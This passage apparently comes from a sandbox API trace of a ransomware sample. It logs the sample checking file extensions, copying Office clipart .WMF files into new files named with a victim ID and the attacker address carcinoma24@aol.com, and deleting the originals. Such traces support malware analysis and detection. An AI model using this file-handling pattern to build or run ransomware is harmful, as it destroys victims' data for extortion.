(lpString=".rar") returned 4 [0312.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString=".bz2") returned 4 [0312.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString=".7z") returned 3 [0312.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.308] lstrlenW (lpString=".dbf") returned 4 [0312.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.308] lstrlenW (lpString=".1cd") returned 4 [0312.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0312.309] lstrlenW (lpString=".jpg") returned 4 [0312.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.321] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.321] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0312.322] GetLastError () returned 0x0 [0312.322] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x406c, lpOverlapped=0x0) returned 1 [0312.343] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4070, lpOverlapped=0x0) returned 1 [0312.344] ReadFile (in: hFile=0x324, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.344] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.344] SetEndOfFile (hFile=0x318) returned 1 [0312.346] CloseHandle (hObject=0x318) returned 1 [0312.348] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.348] SetEndOfFile (hFile=0x324) returned 1 [0312.356] CloseHandle (hObject=0x324) returned 1 [0312.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0312.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.358] lstrlenW (lpString=".doc") returned 4 [0312.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.358] lstrlenW (lpString=".docx") returned 5 [0312.358] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.358] lstrlenW (lpString=".pdf") returned 4 [0312.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.358] lstrlenW (lpString=".xls") returned 4 [0312.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.358] lstrlenW (lpString=".xlsx") returned 5 [0312.358] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.358] lstrlenW (lpString=".ppt") returned 4 [0312.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.358] lstrlenW (lpString=".zip") returned 4 [0312.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.358] lstrlenW (lpString=".rar") returned 4 [0312.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.358] lstrlenW (lpString=".bz2") returned 4 [0312.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.359] lstrlenW (lpString=".7z") returned 3 [0312.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.359] lstrlenW (lpString=".dbf") returned 4 [0312.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.359] lstrlenW (lpString=".1cd") returned 4 [0312.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0312.359] lstrlenW (lpString=".jpg") returned 4 [0312.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.364] GetLastError () returned 0x0 [0312.364] ReadFile (in: hFile=0x38c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xd28, lpOverlapped=0x0) returned 1 [0312.371] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xd30, lpOverlapped=0x0) returned 1 [0312.372] ReadFile (in: hFile=0x38c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.372] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.373] SetEndOfFile (hFile=0x388) returned 1 [0312.373] CloseHandle (hObject=0x388) returned 1 [0312.373] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.373] SetEndOfFile (hFile=0x38c) returned 1 [0312.374] CloseHandle (hObject=0x38c) returned 1 [0312.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0312.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.375] lstrlenW (lpString=".doc") returned 4 [0312.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.375] lstrlenW (lpString=".docx") returned 5 [0312.375] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.375] lstrlenW (lpString=".pdf") returned 4 [0312.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.376] lstrlenW (lpString=".xls") returned 4 [0312.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.376] lstrlenW (lpString=".xlsx") returned 5 [0312.376] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.376] lstrlenW (lpString=".ppt") returned 4 [0312.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.376] lstrlenW (lpString=".zip") returned 4 [0312.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.376] lstrlenW (lpString=".rar") returned 4 [0312.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.376] lstrlenW (lpString=".bz2") returned 4 [0312.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.376] lstrlenW (lpString=".7z") returned 3 [0312.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.376] lstrlenW (lpString=".dbf") returned 4 [0312.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.376] lstrlenW (lpString=".1cd") returned 4 [0312.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0312.377] lstrlenW (lpString=".jpg") returned 4 [0312.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.378] GetLastError () returned 0x0 [0312.378] ReadFile (in: hFile=0x38c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0312.380] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0312.381] ReadFile (in: hFile=0x38c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.381] WriteFile (in: hFile=0x388, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.381] SetEndOfFile (hFile=0x388) returned 1 [0312.381] CloseHandle (hObject=0x388) returned 1 [0312.381] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.381] SetEndOfFile (hFile=0x38c) returned 1 [0312.382] CloseHandle (hObject=0x38c) returned 1 [0312.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0312.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.384] lstrlenW (lpString=".doc") returned 4 [0312.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.384] lstrlenW (lpString=".docx") returned 5 [0312.384] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.384] lstrlenW (lpString=".pdf") returned 4 [0312.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.384] lstrlenW (lpString=".xls") returned 4 [0312.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.384] lstrlenW (lpString=".xlsx") returned 5 [0312.384] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.384] lstrlenW (lpString=".ppt") returned 4 [0312.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.384] lstrlenW (lpString=".zip") returned 4 [0312.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.384] lstrlenW (lpString=".rar") returned 4 [0312.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.384] lstrlenW (lpString=".bz2") returned 4 [0312.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.384] lstrlenW (lpString=".7z") returned 3 [0312.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.385] lstrlenW (lpString=".dbf") returned 4 [0312.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.385] lstrlenW (lpString=".1cd") returned 4 [0312.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0312.385] lstrlenW (lpString=".jpg") returned 4 [0312.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.406] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.406] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.407] GetLastError () returned 0x0 [0312.407] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2628, lpOverlapped=0x0) returned 1 [0312.435] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2630, lpOverlapped=0x0) returned 1 [0312.437] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.437] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.437] SetEndOfFile (hFile=0x380) returned 1 [0312.437] CloseHandle (hObject=0x380) returned 1 [0312.437] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.437] SetEndOfFile (hFile=0x318) returned 1 [0312.438] CloseHandle (hObject=0x318) returned 1 [0312.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0312.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.444] lstrlenW (lpString=".doc") returned 4 [0312.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString=".docx") returned 5 [0312.444] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.444] lstrlenW (lpString=".pdf") returned 4 [0312.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString=".xls") returned 4 [0312.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.444] lstrlenW (lpString=".xlsx") returned 5 [0312.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.444] lstrlenW (lpString=".ppt") returned 4 [0312.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.444] lstrlenW (lpString=".zip") returned 4 [0312.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.444] lstrlenW (lpString=".rar") returned 4 [0312.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString=".bz2") returned 4 [0312.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString=".7z") returned 3 [0312.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.444] lstrlenW (lpString=".dbf") returned 4 [0312.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.445] lstrlenW (lpString=".1cd") returned 4 [0312.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0312.445] lstrlenW (lpString=".jpg") returned 4 [0312.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.445] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.446] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.447] GetLastError () returned 0x0 [0312.447] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1748, lpOverlapped=0x0) returned 1 [0312.462] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1750, lpOverlapped=0x0) returned 1 [0312.464] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.464] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.464] SetEndOfFile (hFile=0x380) returned 1 [0312.466] CloseHandle (hObject=0x380) returned 1 [0312.469] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.469] SetEndOfFile (hFile=0x318) returned 1 [0312.471] CloseHandle (hObject=0x318) returned 1 [0312.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0312.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.475] lstrlenW (lpString=".doc") returned 4 [0312.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString=".docx") returned 5 [0312.475] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.475] lstrlenW (lpString=".pdf") returned 4 [0312.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString=".xls") returned 4 [0312.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.475] lstrlenW (lpString=".xlsx") returned 5 [0312.475] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.475] lstrlenW (lpString=".ppt") returned 4 [0312.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.475] lstrlenW (lpString=".zip") returned 4 [0312.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.475] lstrlenW (lpString=".rar") returned 4 [0312.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString=".bz2") returned 4 [0312.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString=".7z") returned 3 [0312.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.475] lstrlenW (lpString=".dbf") returned 4 [0312.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.476] lstrlenW (lpString=".1cd") returned 4 [0312.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0312.476] lstrlenW (lpString=".jpg") returned 4 [0312.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.484] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.485] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.487] GetLastError () returned 0x0 [0312.487] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x785c, lpOverlapped=0x0) returned 1 [0312.491] WriteFile (in: hFile=0x38c, 